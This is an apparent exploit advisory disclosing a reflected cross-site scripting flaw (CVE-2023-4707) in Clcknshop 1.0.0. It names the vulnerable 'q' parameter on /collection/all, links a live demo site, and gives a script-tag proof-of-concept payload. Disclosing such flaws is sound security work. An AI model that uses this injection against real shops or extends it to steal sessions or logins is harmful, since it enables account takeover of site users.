# Exploit Title: Clcknshop 1.0.0 - Reflected XSS # Exploit Author: CraCkEr # Date: 16/08/2023 # Vendor: Infosoftbd Solutions # Vendor Homepage: https://infosoftbd.com/ # Software Link: https://infosoftbd.com/multitenancy-e-commerce-solution/ # Demo: https://kidszone.clckn.shop/ # Tested on: Windows 10 Pro # Impact: Manipulate the content of the site # CVE: CVE-2023-4707 # CWE: CWE-79 - CWE-74 - CWE-707 ## Greetings The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka CryptoJob (Twitter) twitter.com/0x0CryptoJob ## Description The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials Path: /collection/all GET parameter 'q' is vulnerable to XSS https://website/collection/all?q=[XSS] XSS Payloads: jkhrt<script>alert(1)</script>ccnsi [-] Done